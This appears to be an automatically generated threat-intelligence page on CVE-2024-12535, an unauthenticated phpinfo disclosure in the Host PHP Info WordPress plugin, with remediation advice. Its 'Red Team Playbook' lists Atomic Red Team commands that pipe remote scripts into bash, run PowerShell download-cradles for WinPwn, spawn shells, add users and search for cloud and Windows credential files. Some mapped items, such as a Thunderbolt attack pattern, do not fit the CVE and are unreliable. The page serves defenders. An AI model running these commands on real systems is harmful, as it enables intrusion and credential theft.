CVE-2024-12535
Overview
This vulnerability is an authorization bypass caused by the absence of capability checks in the Host PHP Info WordPress plugin. Specifically, the plugin includes the 'phpinfo' function without verifying user permissions, affecting all versions up to and including 1.0.4. The affected component is the PHP info display feature within the plugin, which is accessible regardless of plugin activation status.
Vulnerability Description
The Host PHP Info plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited.
Impact
An unauthenticated attacker can retrieve detailed server configuration and environment variables by accessing the vulnerable PHP info endpoint, enabling reconnaissance for further attacks. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N). The exposure of sensitive configuration data can facilitate targeted exploitation or lateral movement within the hosting environment, potentially compromising the broader WordPress site infrastructure.
Solution
Users should upgrade the Host PHP Info plugin to a version later than 1.0.4 where the capability check is implemented. Detailed patch information and remediation instructions are available in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/88d27385-9b92-419c-9e03-687d7192bbb5). Alternatively, disabling or removing the plugin until an update is applied can mitigate exposure. Review the plugin source at https://plugins.trac.wordpress.org/browser/host-php-info/trunk/info.php#L2 for the implemented fix.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Host PHP Info plugin for WordPress stems from a lack of proper capability checks when executing the 'phpinfo' function. This oversight allows unauthorized users to access sensitive server configuration settings and predefined variables without needing authentication. The absence of these checks means that any unauthenticated attacker can exploit this vulnerability, potentially gaining insights into the server's environment, including paths, loaded modules, and other critical information that could aid in further attacks. The plugin's design flaw is particularly concerning, as it does not require activation to be exploited, making it a passive yet significant risk for all installations of the plugin.
Attack vectors associated with this vulnerability are straightforward, as the exploitation does not necessitate any advanced technical skills. An attacker could simply send a request to the vulnerable endpoint where the 'phpinfo' function is exposed. By doing so, they can retrieve detailed information about the server's configuration, which may include database credentials, server paths, and other sensitive data. This information can be leveraged for various malicious activities, such as crafting targeted attacks against the server or exploiting other vulnerabilities that may exist within the environment. Given the ease of exploitation, even low-skilled attackers could potentially compromise the integrity and confidentiality of the affected systems.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. Unauthorized access to server configuration can lead to data breaches, where sensitive information is exposed to malicious actors. This can result in financial losses, reputational damage, and potential legal ramifications, especially if customer data is involved. Additionally, the exploitation of this vulnerability could serve as a stepping stone for more severe attacks, such as remote code execution or full server compromise. Organizations that fail to address this vulnerability may find themselves facing not only immediate threats but also long-term consequences related to trust and compliance with data protection regulations.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability scans should be conducted to identify any instances of the Host PHP Info plugin in use, particularly in versions up to and including 1.0.4. Organizations should also consider employing web application firewalls (WAFs) that can help filter out malicious requests targeting the vulnerable endpoint. Furthermore, it is essential to apply security patches and updates promptly, ensuring that any known vulnerabilities are addressed. Disabling or removing unnecessary plugins can also reduce the attack surface, thereby enhancing overall security posture.
In conclusion, the vulnerability in the Host PHP Info plugin for WordPress represents a critical risk that can lead to unauthorized access to sensitive server information. The ease of exploitation and the potential for significant real-world impact necessitate immediate attention from organizations using this plugin. By implementing robust detection and mitigation strategies, businesses can protect themselves from the associated risks and maintain the integrity and confidentiality of their systems. As the threat landscape continues to evolve, proactive measures are essential to safeguard against vulnerabilities that could otherwise lead to severe consequences.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) for CVE-2024-12535, reflecting a rising likelihood of exploitation in the near term. This upward adjustment, now placing the vulnerability in the 96th percentile for exploitability, is corroborated by a slight but consistent upward trend in exploitation attempts observed over the past week. Additionally, new proof-of-concept exploits have emerged publicly, lowering the barrier for threat actors to leverage this vulnerability. The combination of these factors indicates that adversaries are increasingly prioritizing this flaw, likely due to its ability to expose sensitive server configuration data without authentication and without requiring plugin activation. For defenders, this escalation underscores the urgency of enhancing monitoring and detection capabilities specific to this vulnerability, as the risk of unauthorized data disclosure is becoming more imminent. Consequently, the threat level associated with CVE-2024-12535 should be considered elevated, with a higher probability of active exploitation campaigns targeting affected environments.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-12535
Host PHP Info <= 1.0.4 - Missing Authorization to Unauthenticated Sensitive Information Disclosure
|
RandomRobbieBF | 0 | 0 | 2025-01-07 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12535 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/88d27385-9b92-419c-9e03-687d7192bbb5?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/host-php-info/trunk/info.php#L2 |